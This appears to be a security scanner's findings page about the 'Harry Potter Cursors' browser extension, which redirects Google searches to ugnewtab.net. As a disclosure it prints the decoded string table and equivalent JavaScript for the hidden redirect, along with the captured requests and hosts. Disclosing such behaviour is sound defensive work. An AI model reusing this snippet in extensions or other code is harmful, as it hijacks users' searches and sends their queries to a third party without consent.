Findings

Harry Potter Cursors forwards your Google searches to ugnewtab.net

HighunwantedCWE-506Dynamic sandbox

On Google search result pages, a content script sends the browser to ugnewtab.net with your search terms.

What actually happens

You did this

You search on Google and the results page starts loading.

The page is www.google.com/search?q=harry+potter (illustrative query).

The extension did this

The extension replaces the tab with ugnewtab.net and your search terms.

It sets a sessionStorage flag first, so each tab session is redirected once.

Captured request

GEThttps://ugnewtab.net/search?sid=hpc&q=harry+potter (illustrative)

HTTP 307, then a second request to the same URL answered HTTP 302 redirecting to 844.us.rpdsrch.com. The response set a __Secure-uid cookie (Max-Age 31536000).

The code that does this

Encoded string table and the check that gates the redirect

Readable version

Decoded string table

["https://ugnewtab.net/search?sid=hpc&q=","www.google.","/search","location","hostname","pathname","search","replace","sessionStorage","cursor-applied","getItem","setItem","URLSearchParams","get","q","encodeURIComponent"]

Equivalent logic

if (location.hostname.startsWith('www.google.') && location.pathname === '/search' && !sessionStorage.getItem('cursor-applied')) {  sessionStorage.setItem('cursor-applied', JSON.stringify(true));  const q = new URLSearchParams(location.search).get('q');  if (q) location.replace('https://ugnewtab.net/search?sid=hpc&q=' + encodeURIComponent(q));}

What leaves the browser

  • Search query
    q=harry+potter (illustrative)

    The words you typed into Google are copied into the destination URL.

  • Campaign id
    sid=hpc

    A fixed identifier attached to every redirect.

Hosts contacted

    • ugnewtab.net

    Receives the redirected search with your query; answers with a redirect.

    • 844.us.rpdsrch.com

    Next hop named in the redirect response from ugnewtab.net.

What it can do

Permissions this extension asks for, as declared in version 2.0.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
